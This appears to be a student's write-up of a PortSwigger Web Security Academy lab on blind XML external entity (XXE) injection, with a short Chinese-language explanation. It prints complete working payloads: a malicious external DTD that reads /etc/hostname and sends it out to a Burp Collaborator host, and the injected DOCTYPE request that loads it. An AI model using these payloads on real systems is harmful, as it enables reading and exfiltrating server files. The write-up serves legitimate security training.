---
# System prepended metadata

title: 'Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD'
tags: [Web, Portswigger Web Security Academy]

---

# Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
###### tags: `Portswigger Web Security Academy` `Web`
* Description: This lab has a "Check stock" feature that parses XML input but does not display the result.
* Goal: To solve the lab, exfiltrate the contents of the /etc/hostname file.
* Hint: To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server.


## Recon
1. Use the previous method
    :::spoiler Payload
    ```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d3hr4hyf51vbe69iuzp4czdzuq0ho6.burpcollaborator.net"> %xxe; ]>
    <stockCheck>
        <productId>
            1
        </productId>
        <storeId>
            1
        </storeId>
    </stockCheck>
    ```
    :::
    ![](https://hackmd.io/_uploads/rJz-j9L42.png)
    By using the previous method, we can not achieve our goal which is exfiltrating the host name of the server.

2. A new method
Refer to the hint, we can use the exploit server they provided.
    1. Copy the Collaborator Payload
    2. Complete Malicious Server Payload and Store
        ```xml
        <!ENTITY % file SYSTEM "file:///etc/hostname">
        <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
        %eval;
        %exfil;
        ```
    3. Complete Intercept Packet Payload
        Intercept the packet that you click `Check stock` button in arbitrary product page.
        Copy and paste your malicious server URL to `YOUR-DTD-URL`, e.g. `https://exploit-{YOUR-RANDOM-URL}.exploit-server.net/exploit`
        ```xml
        <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
        ```
    4. Send packet and observe in Collaborator

## Exp - <font color="FF0000">通靈</font>
完整的流程有點複雜，我自己的想法是暫停的封包會因為parameter entity的reference，而觸發`%xxe`而和malicious server產生互動，此時malicious server就可以利用`%eval`和`%exfil`讓`SYSTEM "file:///etc/hostname"`這個指令被執行，並且把結果當作Collaborator的GET參數回傳給Burp Suite，此時我們就可以在Burp Suite的Collaborator中看到hostname是甚麼了。

:::spoiler Malicious Server Payload
```xml!
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ehzsiicgj29cs7nj8035q0r08reh26.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
```
:::
:::spoiler Packet Payload
```xml!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aae00dc044ebfc38406a3db012f0055.exploit-server.net/exploit"> %xxe;]>
<stockCheck>
    <productId>
        1
    </productId>
    <storeId>
        1
    </storeId>
</stockCheck>
```
:::
:::spoiler Success Screenshot
![](https://hackmd.io/_uploads/HkQPt5843.png)
:::

## Reference
[XXE Lab Breakdown: Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://youtu.be/wqwUqHA_AJE)